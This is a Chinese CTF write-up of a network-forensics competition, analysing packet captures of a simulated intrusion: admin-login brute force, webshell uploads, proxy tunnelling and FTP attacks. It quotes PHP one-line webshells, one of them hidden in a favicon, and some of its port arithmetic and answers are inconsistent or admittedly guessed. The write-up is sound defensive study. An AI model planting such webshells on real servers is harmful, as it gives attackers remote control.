铁人三项赛数据赛 writeup

本文作者:jianghuxia(来自信安之路CTF小组)

这次的数据分析赛相对上个星期 05.05 的数据分析赛,个人觉得虽然简单了很多,但其中值得学习的知识点也不少呀。

题目简述

比赛数据包给了 9 个,不多不少。

看到题目,头脑先要有个大概的黑客入侵公司的思维导图,总体脉络清晰后,我们再接着做题。

黑客攻击公司走的是以 tcp 为载体的 http 请求,所以过滤 http 成为解题的最基本的方法。发现漏洞,并利用了漏洞获取服务器的权限,则可以推测黑客上传了 webshell ,提权成功;可以对内网进行扫描和攻击,推出黑客提权后挂了代理,对内网及其主机进行扫描。

解题过程

关卡01~03

打开第一个数据包,可以发现有大量的 404 response code ,可知黑客进行了目录扫描,结合题目和数据包,黑客在扫后台登陆的网站地址。

数据包下滑发现,404 消失,其次是大量的 post 请求。再结合数据包分析,过滤 POST 请求,可知黑客发现登陆后台网址 ad_admin.php ,接着对用户名和密码进行了爆破。

第一个数据包翻完,还是没看到爆破终止的痕迹。

通过分析,我们知道了在第一个数据包中,黑客的攻击 ip : 202.1.1.2 ,服务器 ip : 192.168.1.203,并且黑客虽然找到了后台登陆的网址:

http://192.168.1.203/ad_admin.php

但并未成功爆破用户名和密码。关卡 02 和关卡 03 答案呼之欲出,关卡 01 答案需要剩余的流量包查找。

打开第二个数据包,接着过滤 POST 请求,观察下,发现末尾第 1042820 的分组后,黑客没有再继续爆破,但这里还不能确定是否爆破成功。

我们怎么验证呢?我们标记下这个包,过滤 http 流,而又因为我们知道了黑客的 IP ,我们可以过滤此 IP 方便我们分析,并排除其他干扰数据。.

过滤语句:

http && ip.addr==202.1.1.2

跳转到我们刚刚标记的包,可以发现,这个服务器对这个 POST 请求的 302 响应包的 Length 是 442,与之前的所有 POST 请求的 302 响应包的 Length 是316不同。再结合标记包的下个 GET 包,根据网址的目录名中 homgpage ,我们可以大胆推测黑客爆破成功了,用户名: admin ,密码: aabbcc 。关卡 01 的答案即可得到。

当然本着学习的角度,我们还是好好分析下这个问题:

我们查看标记包的 302 响应包内容和之前请求的 302 响应包有啥不同:

一个是 302 重定向的 Location 不同,还有一个就是标记包得到的响应包里 apadmin_password 是以 hash 值形式(为啥是 hash 的形式表示,下篇文章发布)

根据上述,我们就可确定用户名和账号被黑客成功获得。

黑客获得账号和密码后,查看了后台管理的选项,进行了一些页面浏览。

到此,第二个数据包分析完毕。

关卡04~07

第三个数据包,打开,依照题目,写入的 webshell 需要通过 POST 提交,过滤下。

过滤语句:

http.request.method==POST && ip.addr==202.1.1.2

过滤后的第一个数据包就有彩蛋

解码下:

可知黑客把 "<?php eval($_POST['cmd']);?>" 写入了 shell2.php 里,即 webshell 的内容,关卡 04 搞定(这里正确的答案需要把\去掉,还好我问了小丢姐姐是不是答案有误)。

而做题时,关卡 05 的问题让我的思路卡顿下,因为这个问题跳跃度有点大。

为啥能直接扯到 MYSQL ? 没思路。咋办咯。只能看剩下来的 POST 请求中 shell2.php 中的黑客的操作。

果然。。发现了秘密。

追踪下流,答案揭晓

接着把上面的一句话木马的指令解码下

原来是查看了配置的 config.php 的文件,里面有数据库的配置,这才恍然大悟,原来关卡 05 的考点在这。

做到关卡 06 的时候,纳闷了下,第一个上传的木马文件不就是 shell2.php 嘛。后面小丢姐姐说了才知道是除了 shell2.php 的第一个木马文件。

继续查看第三个数据包的内容,发现都是黑客查看数据库的内容的一些操作,只能继续下一个包了

打开第四个包,按之前的方式过滤,没有符合要求的包。。。。额。。。又晕了。别吓我,第四个没内容。

东看西看,还真没内容。(做完发现第四个包是个水包)

只能继续下一个包查看。

打开第五个包,过滤一通。

发现 shell2.php 后面的包出现了个 scan.php ,猜测 scan.php 就是继 shell2.php 后黑客上传的第一个木马文件。

仔细查看响应的包,嗯,果然可以证明这个推测。

cmd 内容解码下就知道,黑客上传了个新的木马文件 scan.php ,且对 z1 进行 16 进制解码即为 scan.php 的内容。

至此,关卡 06 搞定。

在看看下面的包,又发现了关卡 07 的答案,即黑客进行内网扫描的端口范围。

而在做题时,我看错了,以为下面这个包是端口的范围。

至此,第五个数据包分析完毕

关卡08~10

打开第六个数据包,过滤下,包不多,分析一波。黑客又登陆了后台管理,进入了备份系统,对其中的 bak_2018-01-29-17-47-52.zip 文件,进行下载。

关卡 08 搞定。

接着打开第七个数据包包,过滤下,查看第一个包

解码下,看到 favicon.ico (ico 是图标文件的后缀名)

在把对应的 z1 的值拖到 winhex 里,在结尾部分可以发现一句话木马 "<?php @eval($_POST['picto']);?>"

picto 即为隐藏在 favicon.ico 图片中的一句话木马。关卡09搞定。

继续分析流量包,发现 95286 分组的数据表示黑客查看了文件目录下的文件,而 106442 分组中的数据修改了 obj_edit.php 的内容。

而在整个过滤后的数据包末端,出现了一个新的 tunnel.php

经过分析,是新建的一个木马文件 tunnel.php ,作用是设置代理,监听端口。

所以,黑客是通过修改 obj_edit.php 文件,配合 tunnel.php 进行下一步行动。关卡 10 搞定。

第七个数据包分析完毕。

关卡11~14

打个岔,这次比赛我觉得从关卡 11 到关卡 14 都不好做,对于我个人而言,我是在13点之前做完全部的数据分析题的,九点开始的比赛,前十个问题我花了两个多小时完成,剩下的全部花在后四题。。。

打开第八个数据包,结合关卡 11 的问题,一脸懵逼。。后面发现端口 1433 即是 ftp 开放的端口(别问为什么,这题我真是懵的,我刚开始懵22,错了,后面看到这个 1433,试一下,竟然对了)

关卡 11 搞定(懵的,请老哥们指教)。

剩下的第八个数据包的分组,可以分析得知,黑客在爆破 ftp 的账号和密码,但是没成功。

接着打开第九个数据包,过滤分析

这个 ftp 我是怎么找到并最终确认的呢?因为观察了下,下面那个标记的数据包是第一个 ftp 的命令操作,而离这个 ftp 命令最近的密码是 62236 显示的内容 ,我才提交并确认这个密码的。关卡12搞定。

剩下的关卡 11 和关卡 14 我是怎么做出来的呢?。。。我说了,你可能觉得这是运气,但,你不得不承认,这是 wireshark 的一个功能,但是你不知道,而我知道。

当我做完关卡 11 后,剩下 http 数据包特别多,长时间分析无果,我换了个思路,把数据包的分组按 Length 排序,而不是按分组号排序。

查看第一个包,就会发现有个 readmd.rtf (比赛的时候提交错误,后面问了小丢姐姐,姐姐说把第二个 d 改成 e)

为啥我最后可以确定答案是 readmd.rtf 去向小丢姐姐问是不是原本的答案有错呢?

因为,在接下来的分析中,我找到了另外一个显示目录的分组,下面是它们的对比。

可以发现,时间的误差和新文件的写入正好符合时间差。所以,关卡 12 搞定。

最后就剩下了个关卡 14 了。。。这个。真的。。。。又是懵的。

最后一题在剩余最后四题又是做的最久的。

这里考察了一个知识点:

227 Entering Passive Mode (127,0,0,1,26,80)

代表客户机使用 PASV 模式连接服务器的 26x256+80=6764 端口。

然后过滤 IP,找到端口。(等会讲讲)

但是那时候我不会啊。。不知道啊。。。咋办,继续找呗。。。后面发现了这个

这个 CVE-2017-8570 即是最后的答案。。。

在分析过程中,我也看到了这个,还郁闷怎么会有这玩意来着。。后面,卡最后一题实在太久了,小丢姐姐也问我们还有没有没吃饭的,我就乖乖地去吃饭饭了。吃饭过程,想了想,不对啊,那个 CVE 是干啥的,会不会就是最后一题答案,越想越觉得有这可能,扒了几口饭就回去提交,提交前口里喊了一声“圣光请赐予我力量”。弹出提示,“恭喜你,完成本比赛所有关卡,并给予30%的总分额外奖励”,队友这个时候疯狂摸我大腿,口里念叨着“大佬大佬大佬啊”。

真变态,人家可是腼腆羞涩的纯情单身大男孩呢。

讲讲赛题的坑点

坑点1

关卡 14 的正确解题模式

这里介绍两种方法,一种是按 tcp 端口过滤,另一种是在 wireshark 中改变 ftp 端口号。

第一种方法:

先介绍下 FTP 的连接模式:其有两种方式,PORT(主动模式)和 PASV(被动模式),均是相对于服务器而言的。

一、以 PORT 模式连接服务器的情况。其中在 LOG 里有这样的记录:

PORT 127,0,0,1,28,37 告诉服务器当收到这个 PORT 指令后,连接 FTP 客户的 28x256+37=7205 这个端口

Accepting connection : 127.0.0.1:20 表示服务器接到指令后用 20 端口连接 7205 端口,而且被 FTP 客户接受。

二、以 PASV 模式连接服务器,连接 LOG 里有这样几句话:

227 Entering Passive Mode (127,0,0,1,26,80) 代表客户机使用 PASV 模式连接服务器的 26x256+80=6736 端口。(当然服务器要支持这种模式)

125 Data connection already open; Transfer starting 说明服务器的这个端口可用,返回 ACK 信息。

两者的计算方式其实是一样的。(之前以为是两种不同的计算方式,经大佬们的提醒后修正)

而在最后一个流量包中,又仔细分析了下,发现有两种:

第一种是 227 Entering Passive Mode (192,168,2,108,39,78) 如图:

第二种是 227 Entering Passive Mode (192,168,2,108,39,79) 如图

按照上面的说法,两者都是 ftp 以 PASV 模式连接服务器,按照计算公式依次计算为:

39*256+78=10062

39*256+79=10063

发现了 tcp 存在这两个端口,并在 10062 端口中找到了正确的关卡 14 的答案。

相关链接:

https://blog.csdn.net/chary8088/article/details/1538573

(这个链接里面讲到的内容可能有误,建议看下面的链接,如果无误,还请大佬指教)

https://blog.csdn.net/bestone0213/article/details/41892921

第二种方法:

在做题过程中,我们知道了 ftp 服务器放到了 1433 端口, wireshark 中设置一波就行:编辑->首选项-> Protocols ->ftp,修正下端口号即可,然后再过滤语句 ftp-data 一番,查看其中的分组即可(这次栽在这个点了,说来说去经验不足,这个思路没想过,说明这个知识点应用的不够多)

坑点2

比赛的时候,在第七个数据包中发现存在一个 ELF 文件,不知道这干嘛的?(那时候还以为是要我搞 pwn )请大佬们指教?

这干啥的呢?估计是上传的端口映射程序又或者是木马 。

数据赛到此为止。先去找找相应的知识点,来补补,学习学习。

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-05-17

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Hongten

python开发_常用的python模块及安装方法

adodb:我们领导推荐的数据库连接组件 bsddb3:BerkeleyDB的连接组件 Cheetah-1.0:我比较喜欢这个版本的cheetah cherry...

3803
来自专栏数据和云

DBA生存警示:系统级误删除案例及防范建议

编辑手记:对于资深的老DBA们,他们在漫长的职业生涯中养成了很多稀奇古怪的守则,以在复杂多变的环境中“幸存”,这源于无数血泪的教训,我曾经在《数据安全警示录》...

2874
来自专栏Golang语言社区

高并发服务器的设计--架构与瓶颈的设计

做架构设计,难免有时候被人问及系统的瓶颈在哪,那首先来了解下什么是瓶颈? 打个形象的比方,人的嘴巴可以吞下一整个面包,但是却咽不下去,因为食管不给力,它比较细,...

6498
来自专栏我是攻城师

图形数据库之Neo4j学习(一)

4035
来自专栏Android 开发者

[译] 在 SnackBar,Navigation 和其他事件中使用 LiveData(SingleLiveEvent 案例)

7453
来自专栏java一日一条

Python爬虫爬取美剧网站

一直有爱看美剧的习惯,一方面锻炼一下英语听力,一方面打发一下时间。之前是能在视频网站上面在线看的,可是自从广电总局的限制令之后,进口的美剧英剧等貌似就不在像以前...

1802
来自专栏晨星先生的自留地

老司机带我飚车(2)一个有趣的漏洞PoC调试

3196
来自专栏波涛汹涌

在阴影中:Vawtrak(银行木马病毒)意图通过添加新的数据源使得自己更加隐蔽

在Dridex木马活动短暂停止的同时,这个恶意软件背后的犯罪人员立马去寻找(开发)新的交付渠道(攻击方法,钓鱼方式),这看起来像是其他的恶意软件供应商将自己定位...

1363
来自专栏加米谷大数据

spark之广播变量设计和实现

但是最新的 spark 版本中, http 的方式已经废弃了(pr 在此https://github.com/apache/spark/pull/10531),...

42012
来自专栏有趣的django

Django+xadmin打造在线教育平台(九)

代码 github下载 十二、首页和全局404,500配置 12.1.首页功能 Course添加一个字段 is_banner = models.Boolean...

5996

扫码关注云+社区

领取腾讯云代金券